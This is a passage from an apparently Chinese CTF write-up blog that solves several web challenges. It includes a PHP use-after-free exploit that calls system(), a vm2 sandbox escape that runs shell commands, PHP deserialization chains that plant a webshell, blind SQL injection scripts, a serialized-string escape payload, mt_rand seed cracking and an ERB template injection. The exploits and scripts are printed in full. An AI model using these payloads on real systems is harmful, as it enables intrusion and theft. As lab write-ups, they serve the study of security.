0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak($addr ); $f_name = leak($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle(str_repeat('A' , 79 )); $vuln = new Vuln(); $vuln ->a = $arg ; } if (stristr(PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle(str_repeat('A' , 79 )); trigger_uaf('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper; $helper ->b = function ($x ) { }; if (strlen($abc ) == 79 || strlen($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr($abc , 0 ); $php_heap = str2ptr($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write($abc , 0x60 , 2 ); write($abc , 0x70 , 6 ); write($abc , 0x10 , $abc_addr + 0x60 ); write($abc , 0x18 , 0xa ); $closure_obj = str2ptr($abc , 0x20 ); $binary_leak = leak($closure_handlers , 8 ); if (!($base = get_binary_base($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write($abc , $fake_obj_offset + $i , leak($closure_obj , $i )); } write($abc , 0x20 , $abc_addr + $fake_obj_offset ); write($abc , 0xd0 + 0x38 , 1 , 4 ); write($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
然后直接读取。
[NPUCTF2020]ezinclude hash长度拓展攻击 查看页面源代码发现
1 2 3 username/password error<html > </html >
由于$name和$pass
可控,而$secret
不可控,则可以用md5长度拓展攻击绕过,具体原理看这 。
发现存在flflflflag.php
文件,直接网页打开会404,burpsuite打开。
能include
那就先扔个php伪协议,看看flflflflag.php
源码。
?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <html> <head> <script language="javascript" type="text/javascript" > window.location.href="404.html" ; </script> <title>this_is_not_fl4g_and_出题人_wants_girlfriend</title> </head> <> <body> <?php $file =$_GET ['file' ];if (preg_match('/data|input|zip/is' ,$file )){ die ('nonono' ); } @include ($file ); echo 'include($_GET["file"])' ;?> </body> </html>
能写一句话和命令执行的伪协议都ban掉了,但是问题不大仍然可以用string.strip_tags
进行文件上传,原理看这 。
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell
写个脚本上传,传二进制的,可以直接传🐎,但是我这里写了个phpinfo()试试。
1 2 3 4 5 6 7 8 9 import requestsurl = "url/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd" payload = b"<?php phpinfo();?>" data = [('file' , payload)] res = requests.post(url=url, files=data) print(res.text)
然后这道题还给了个dir.php
,所以可以不需要进行文件名爆破。
直接查看文件,flag在phpinfo里就能看到。
flag{3ec89c04-0dc3-41d4-9d05-3ca228e8f8cd}
[HFCTF2020]JustEscape VM沙盒溢出 题目提示不是PHP,那可能就是JS了,然后给出了run.php
的源码。
1 2 3 4 5 6 7 8 <?php if ( array_key_exists( "code" , $_GET ) && $_GET [ 'code' ] != NULL ) { $code = $_GET ['code' ]; echo eval (code); } else { highlight_file(__FILE__ ); } ?>
这里的这个eval
其实已经暗示了,它并没有直接执行的$code
变量,而是选择eval(code)
,而且eval()函数不仅php有,nodejs也有。
输入Error().stack
尝试查看文件位置。
成功执行,那就铁定是nodejs了,还提示了VM
,猜测是nodejs的VM沙盒逃逸问题,原理可以看这 。
github上可以找到poc 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 "use strict" ;const {VM} = require ('vm2' );const untrusted = '(' + function ( ) { TypeError .prototype.get_process = f => f.constructor("return process" )(); try { Object .preventExtensions(Buffer.from("" )).a = 1 ; }catch (e){ return e.get_process(()=> {}).mainModule.require("child_process" ).execSync("whoami" ).toString(); } }+')()' ; try { console .log(new VM().run(untrusted)); }catch (x){ console .log(x); }
由于ban了一些东西,可以用`${`a`}`拼接字符串绕过。
最终payload:
1 2 3 4 5 6 7 8 (function ( ) { TypeError [`${`${`prototyp` } e` } ` ][`${`${`get_pro` } cess` } ` ] = f => f[`${`${`constructo` } r` } ` ](`${`${`return proc` } ess` } ` )(); try { Object .preventExtensions(Buffer.from(`` )).a = 1 ; }catch (e){ return e[`${`${`get_pro` } cess` } ` ](()=> {}).mainModule[`${`${`requir` } e` } ` ](`${`${`child_pro` } cess` } ` )[`${`${`exe` } cSync` } ` ](`cat /flag` ).toString(); } })()
直接传入code即可拿到flag。
flag{b127495d-efaa-4687-93c3-f7313aced510}
[强网杯 2019]Upload 注册账号后登录可上传文件,随便上传个🐎发现被转成.png
后缀了。
一般这种题都会给源码的,直接上dirsearch
,可以扫出个www.tar.gz
。
文件上传 + 反序列化 在index.php
的login_check()里发现了unserialize()
函数,口子就在这了,入口是cookie中的user参数。
有口子了就看看反序列化的利用函数,Register.php
里有个__destruct
,$registed和$checker是可控的
,这里很明显是能当做跳板调用__call
方法。
看看__call
方法,这里$arguments
参数为空,$name=index
,于是就形成了$this->{$this->index}();
,使用了一个不存在的键,会调用__get
方法。
这样$except
参数就可控了,可控了就说明我们可以调用这个类中的任意函数,这里就要看到upload_img()
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function upload_img ( ) { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url ="http://" .$_SERVER ['HTTP_HOST' ].$_SERVER ['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url ,302 ); exit (); } } if (!empty ($_FILES )){ $this ->filename_tmp=$_FILES ['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES ['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this ->upload_menu/$this ->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } }
第一个if,由于$checker
参数可控,可以绕过。
第二个if,当我们未使用POST方式传入文件,而直接使用GET方法时,$_FILES
为空,可以绕过。
最后一个if,是我们需要进入的,$ext
参数可控,可以进入。
1 2 3 4 5 6 7 8 9 10 11 12 if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this ->upload_menu/$this ->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); }
进入最后这个if,有个copy()
函数。
bool copy ( string $source
, string $dest
[, resource $context
] )
将文件从 source
拷贝到 dest
。
如果要移动文件的话,请使用 rename() 函数。
那么我们就可以将我们先传入的图片🐎,拷贝到一个文件中,且文件类型我们可控,那就简单了。
先传入图片🐎,然后拷贝的文件名为一个php文件,即可造成文件上传攻击,直接给poc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace app \web \controller ;class Register { public $checker ; public $registed = 0 ; } class Profile { public $checker = 0 ; public $filename_tmp = "./upload/1f14e65dbcd17d7e2d5ffae185e31c64/1c26eabfc7eed920dad40569148bd24f.png" ; public $filename = "upload/shell.php" ; public $upload_menu ; public $ext = 1 ; public $img ; public $except = array ('index' => 'upload_img' ); } $x = new Register();$x ->checker = new Profile();echo base64_encode(serialize($x ));
得到的字符串在cookie中传入。
会报错,但是🐎已经上传成功了。
可以直接拿flag。
flag{2e20594a-2d06-4fe8-8040-cc59a02cdfda}
[网鼎杯2018]Unfinish 总共有login.php
,register.php
,index.php
三个文件,搜源码没有搜出来,题目也没给提示,注册后username会显示在index.php里,那这就有可能实现二次注入。
from for 逗号绕过 + 加号绕注释 这题ban东西很严重,逗号没了,information_schema也没了。
逗号可用用from for绕过,即
substr(str,1,1) => substr(str from 1 for 1)
mysql中数字与字符相加会将字符转为数字,再进行相加
这样我们就能用加号注释掉后面的命令,二次注入要注意email
与password
,这里直接给爆库脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport reURL = "http://542290f5-8044-47f2-a502-a7a50001607f.node4.buuoj.cn/" flag = "" reg = r'<span class="user-name">\s*(\d*)\s*</span>' def GetINFO (url ): INFO = "" for i in range (1 , 100 ): register_data = { "email" : f"2@{i} " , "username" : f"0' + ascii(substr((select database()) from {i} for 1)) + '0" , "password" : f"{i} " } register = requests.post(url=url + "register.php" , data=register_data, timeout=3 ) login_data = { "email" : f"2@{i} " , "password" : f"{i} " } login = requests.post(url=url + "login.php" , data=login_data, timeout=3 ) while login.status_code != 200 : login = requests.post(url=url + "login.php" , data=login_data, timeout=3 ) result = re.search(reg, login.text) INFO += chr (int (result.group(1 ))) print(f"[+]Result new is: {INFO} " ) return INFO if __name__ == "__main__" : flag = GetINFO(URL) print(f"[+]Final Result is: {flag} " )
但是这题把information_schema给ban了,而且mysql.innodb_table_stats
和sys.schema_table_statistics
都用不了,合着要猜是吧= =,查师傅们给的WP都是直接给flag表的,攻防世界官方的甚至还用了information_schema
,脚本都跑不动,服了。
最后放个拿flag的脚本,只能说还是学了一点点东西了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requestsimport reURL = "http://542290f5-8044-47f2-a502-a7a50001607f.node4.buuoj.cn/" flag = "" reg = r'<span class="user-name">\s*(\d*)\s*</span>' def GetINFO (url ): INFO = "" for i in range (1 , 100 ): register_data = { "email" : f"1@{i} " , "username" : f"0' + ascii(substr((select * from flag) from {i} for 1)) + '0" , "password" : f"{i} " } register = requests.post(url=url + "register.php" , data=register_data, timeout=3 ) login_data = { "email" : f"1@{i} " , "password" : f"{i} " } login = requests.post(url=url + "login.php" , data=login_data, timeout=3 ) while login.status_code != 200 : login = requests.post(url=url + "login.php" , data=login_data, timeout=3 ) result = re.search(reg, login.text) INFO += chr (int (result.group(1 ))) print(f"[+]Result new is: {INFO} " ) return INFO if __name__ == "__main__" : flag = GetINFO(URL) print(f"[+]Final Result is: {flag} " )
flag{a0fc974d-cfb0-4811-a9ba-f294d06a2008}
[GYCTF2020]Easyphp www.zip文件泄露 + php反序列化字符逃逸 www.zip泄露出源码,可利用的有update.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php require_once ('lib.php' );echo '<html> <meta charset="utf-8"> <title>update</title> <h2>这是一个未完成的页面,上线时建议删除本页面</h2> </html>' ;if ($_SESSION ['login' ]!=1 ){ echo "你还没有登陆呢!" ; } $users =new User();$users ->update();if ($_SESSION ['login' ]===1 ){ require_once ("flag.php" ); echo $flag ; } ?>
和lib.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 <?php error_reporting(0 ); session_start(); function safe ($parm ) { $array = array ('union' , 'regexp' , 'load' , 'into' , 'flag' , 'file' , 'insert' , "'" , '\\' , "*" , "alter" ); str_replace($array , 'hacker' , $parm ); return 1 ; } class User { public $id ; public $age = null ; public $nickname = null ; public function login ( ) { if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { $mysqli = new dbCtrl(); $this ->id = $mysqli ->login('select id,password from user where username=?' ); if ($this ->id) { $_SESSION ['id' ] = $this ->id; $_SESSION ['login' ] = 1 ; echo "你的ID是" . $_SESSION ['id' ]; echo "你好!" . $_SESSION ['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } } } public function update ( ) { $Info = unserialize($this ->getNewinfo()); $age = $Info ->age; $nickname = $Info ->nickname; $updateAction = new UpdateHelper($_SESSION ['id' ], $Info , "update user SET age=$age ,nickname=$nickname where id=" . $_SESSION ['id' ]); } public function getNewInfo ( ) { $age = $_POST ['age' ]; $nickname = $_POST ['nickname' ]; return safe(serialize(new Info($age , $nickname ))); } public function __destruct ( ) { return file_get_contents($this ->nickname); } public function __toString ( ) { $this ->nickname->update($this ->age); return "0-0" ; } } class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ($age , $nickname ) { $this ->age = $age ; $this ->nickname = $nickname ; } public function __call ($name , $argument ) { echo $this ->CtrlCase->login($argument [0 ]); } } class UpdateHelper { public $id ; public $newinfo ; public $sql ; public function __construct ($newInfo , $sql ) { $newInfo = unserialize($newInfo ); $upDate = new dbCtrl(); } public function __destruct ( ) { echo $this ->sql; } } class dbCtrl { public $hostname = "127.0.0.1" ; public $dbuser = "root" ; public $dbpass = "root" ; public $database = "test" ; public $name ; public $password ; public $mysqli ; public $token ; public function __construct ( ) { $this ->name = $_POST ['username' ]; $this ->password = $_POST ['password' ]; $this ->token = $_SESSION ['token' ]; } public function login ($sql ) { $this ->mysqli = new mysqli($this ->hostname, $this ->dbuser, $this ->dbpass, $this ->database); if ($this ->mysqli->connect_error) { die ("连接失败,错误:" . $this ->mysqli->connect_error); } $result = $this ->mysqli->prepare($sql ); $result ->bind_param('s' , $this ->name); $result ->execute(); $result ->bind_result($idResult , $passwordResult ); $result ->fetch(); $result ->close(); if ($this ->token == 'admin' ) { return $idResult ; } if (!$idResult ) { echo ('用户不存在!' ); return false ; } if (md5($this ->password) !== $passwordResult ) { echo ('密码错误!' ); return false ; } $_SESSION ['token' ] = $this ->name; return $idResult ; } public function update ($sql ) { } }
虽然这有个file_get_contents()
,但是由于flag被过滤了,所以不可用。
然后看到update()方法
1 2 3 4 5 6 7 8 public function update ( ) { $Info = unserialize($this ->getNewinfo()); $age = $Info ->age; $nickname = $Info ->nickname; $updateAction = new UpdateHelper($_SESSION ['id' ], $Info , "update user SET age=$age ,nickname=$nickname where id=" . $_SESSION ['id' ]); }
很明显这里有一个反序列化的入口,简单审计可以很容易构造出pop链。
但是由于无法获取文件,那我们获取flag的方式只有使session[‘login’] = 1。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function login ( ) { if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { $mysqli = new dbCtrl(); $this ->id = $mysqli ->login('select id,password from user where username=?' ); if ($this ->id) { $_SESSION ['id' ] = $this ->id; $_SESSION ['login' ] = 1 ; echo "你的ID是" . $_SESSION ['id' ]; echo "你好!" . $_SESSION ['token' ]; echo "<script>window.location.href='./update.php'</script>" ; return $this ->id; } } }
这里达到目的有两种方式,都是利用dbCtrl类的login方法。
一是使$this->token == admin。
二是输入正确的密码。
由于sql语句可控,这里我们用第二种方法。
sql语句改为select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?
1的md5值为c4ca4238a0b923820dcc509a6f75849b
通过这个语句输出的结果会返回1,则我们只需要控制$this->password的值即可。
这里直接给poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php class User { public $id ; public $age ; public $nickname ; public function __construct ( ) { $this ->id = "1" ; $this ->age = 'select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?' ; $this ->nickname = new Info(); } } class Info { public $age ; public $nickname ; public $CtrlCase ; public function __construct ( ) { $this ->age = "1" ; $this ->nickname = "2" ; $this ->CtrlCase = new dbCtrl(); } } class UpdateHelper { public $sql ; } class dbCtrl { public $hostname = "127.0.0.1" ; public $dbuser = "root" ; public $dbpass = "root" ; public $database = "test" ; public $name ; public $password ; public $mysqli ; public $token ; public $test ; public function __construct ( ) { $this ->password = "1" ; $this ->name = "admin" ; $this ->test = new UpdateHelper(); } } $x = new Info();$x ->CtrlCase->test->sql = new User();echo serialize($x );
得到的payload:
O:4:”Info”:3:{s:3:”age”;s:1:”1”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:3:{s:2:”id”;s:1:”1”;s:3:”age”;s:72:”select “1”,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:3:{s:3:”age”;s:1:”1”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;N;}}}}}}}
由于lib.php中有:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function update ( ) { $Info = unserialize($this ->getNewinfo()); $age = $Info ->age; $nickname = $Info ->nickname; $updateAction = new UpdateHelper($_SESSION ['id' ], $Info , "update user SET age=$age ,nickname=$nickname where id=" . $_SESSION ['id' ]); } public function getNewInfo ( ) { $age = $_POST ['age' ]; $nickname = $_POST ['nickname' ]; return safe(serialize(new Info($age , $nickname ))); }
所以我们需要通过反序列化字符逃逸绕过getNewInfo方法里的serizlize()。
age=1’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’’”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;O:4:”User”:3:{s:2:”id”;s:1:”1”;s:3:”age”;s:72:”select “1”,”c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:”nickname”;O:4:”Info”:3:{s:3:”age”;s:1:”1”;s:8:”nickname”;s:1:”2”;s:8:”CtrlCase”;O:6:”dbCtrl”:9:{s:8:”hostname”;s:9:”127.0.0.1”;s:6:”dbuser”;s:4:”root”;s:6:”dbpass”;s:4:”root”;s:8:”database”;s:4:”test”;s:4:”name”;s:5:”admin”;s:8:”password”;s:1:”1”;s:6:”mysqli”;N;s:5:”token”;N;s:4:”test”;O:12:”UpdateHelper”:1:{s:3:”sql”;N;}}}}}}}
直接从update.php输入,然后任意密码登陆即可。
flag{4caee143-cb5b-48e5-bc67-37a8eaa6f830}
[MRCTF2020]Ezaudit 这题刚看题目我还以为是要看audit日志读东西啥的,结果就只是mt种子爆破。
php低版本mt种子爆破 www.zip文件泄露出了index.php源码,且得知php版本为php5.6。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php header('Content-type:text/html; charset=utf-8' ); error_reporting(0 ); if (isset ($_POST ['login' ])){ $username = $_POST ['username' ]; $password = $_POST ['password' ]; $Private_key = $_POST ['Private_key' ]; if (($username == '' ) || ($password == '' ) ||($Private_key == '' )) { header('refresh:2; url=login.html' ); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else if ($Private_key != '*************' ) { header('refresh:2; url=login.html' ); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else { if ($Private_key === '************' ){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password '" .';' ; $link =mysql_connect("localhost" ,"root" ,"root" ); mysql_select_db("test" ,$link ); $result = mysql_query($getuser ); while ($row =mysql_fetch_assoc($result )){ echo "<tr><td>" .$row ["username" ]."</td><td>" .$row ["flag" ]."</td><td>" ; } } } } function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr($strings1 , mt_rand(0 , strlen($strings1 ) - 1 ), 1 ); return $public_key ; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr($strings2 , mt_rand(0 , strlen($strings2 ) - 1 ), 1 ); return $private_key ; } $Public_key = public_key();
php低版本的mt种子问题,写个脚本导出值,然后php_mt_seed一把梭。
1 2 3 4 5 6 char = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" public_key = "KVQP0LdJKRaV3n9D" print("[+]Result is: " ) for i in public_key: print(str (char.index(i)) + " " + str (char.index(i)) + " 0 " + "61" , end=" " )
一把梭。
得到的值在php[5.2.1 - 7.0.x]重新计算私钥的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php function public_key ($length = 16 ) { mt_srand(1775196155 ); $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr($strings1 , mt_rand(0 , strlen($strings1 ) - 1 ), 1 ); private_key(); } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr($strings2 , mt_rand(0 , strlen($strings2 ) - 1 ), 1 ); echo $private_key ; } public_key();
XuNhoueCDCGc
有私钥的值直接登陆即可,密码那还有个简单sql。
Private_key=XuNhoueCDCGc&login=登录&password=’+or+’1’=’1&username=crispr
得到flag
flag{9227093c-e6ac-4b87-b77b-516945f26eda}
[SCTF2019]Flag Shop evoA师傅出的题,这里简单讲讲预期解,非预期解也挺有意思的,具体可以看看evoA师傅的博客 讲的更详细点。
ruby模板注入 在/robots.txt里可以看到提示,存在/filebak路由,直接给出了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder , File.dirname(__FILE__ ) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV["SECRET" ] = SecureRandom.hex(64 ) configure do enable :logging file = File.new(File.dirname(__FILE__ ) + '/../log/http.log' ,"a+" ) file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop' , 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20 } auth = JWT.encode payload,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } json({uid: auth[0 ]["uid" ],jkl: auth[0 ]["jkl" ]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom.random_number(10 ) auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB::new("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end post "/shop" do islogin auth = JWT.decode cookies[:auth ],ENV["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV["FLAG" ]} auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
可以看出是ruby的erb模板注入,核心代码就是这个
1 2 3 4 5 6 if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom.random_number(10 ) auth = JWT.encode auth,ENV["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB::new("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end
if成立则会弹出name参数的前七个字符值,这里就限制了七字符的模板注入,erb模板的注入格式为<%=%>
,显然这里就占了五个字符了那么我们可控的就只有两个字符,这里可以使用ruby的预定义全局变量 $'
,即会返回上次成功匹配右值的字符串。
$’
The string to the right of the last successful match.
tips:特殊字符需要urlencode
有秘钥了就直接JWT 一把梭。
flag_here
flag{845aa3fa-8612-4c76-8f81-d6aa00f46882}
[GXYCTF2019]StrongestMind 大数字计算器,写个脚本自动算就行了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requestsimport redef calculate (n1, sl, n2 ): if '+' in sl: return n1 + n2 if '-' in sl: return n1 - n2 if '*' in sl: return n1 * n2 if '/' in sl: return n1 / n2 url = "http://a3187c44-2492-4ad0-aac5-3bfbd8ad2de4.node4.buuoj.cn:81/" s = requests.session() res = s.get(url=url) for i in range (1 , 1005 ): char = re.search(r'><br>(\d*)(\D*)(\d*)<br><br><form' , res.text) num1 = int (char.group(1 )) num2 = int (char.group(3 )) symbol = char.group(2 ) result = calculate(num1, symbol, num2) data = { "answer" : result } res = s.post(url=url, data=data) if "flag{" in res.text: print(res.text) break print(f"[+]Now is:{i} " )
flag{b387e80e-8d04-454e-b5b4-720d176c82ba}
[安洵杯 2019]不是文件上传 index最下面可以看到一段话。
Hello, my colleague.
Some of the features on our website have not been completed. I have uploaded the source code to github. When you have time, remember to continue.
提示可以去到作者的github仓库中找到源码。
下载源码下来代码审计,主要是show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php include ("./helper.php" );$show = new show();if ($_GET ["delete_all" ]){ if ($_GET ["delete_all" ] == "true" ){ $show ->Delete_All_Images(); } } $show ->Get_All_Images();class show { public $con ; public function __construct ( ) { $this ->con = mysqli_connect("127.0.0.1" ,"root" ,"root" ,"pic_base" ); if (mysqli_connect_errno($this ->con)){ die ("Connect MySQL Fail:" .mysqli_connect_error()); } } public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc()){ if ($row ["attr" ]){ $attr_temp = str_replace('\0\0\0' , chr(0 ).'*' .chr(0 ), $row ["attr" ]); $attr = unserialize($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close($this ->con); } public function Delete_All_Images ( ) { $sql = "DELETE FROM images" ; $result = mysqli_query($this ->con, $sql ); } } ?>
和helper.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 <?php class helper { protected $folder = "pic/" ; protected $ifview = False ; protected $config = "config.txt" ; public function upload ($input ="file" ) { $fileinfo = $this ->getfile($input ); $array = array (); $array ["title" ] = $fileinfo ['title' ]; $array ["filename" ] = $fileinfo ['filename' ]; $array ["ext" ] = $fileinfo ['ext' ]; $array ["path" ] = $fileinfo ['path' ]; $img_ext = getimagesize($_FILES [$input ]["tmp_name" ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize($my_ext ); $id = $this 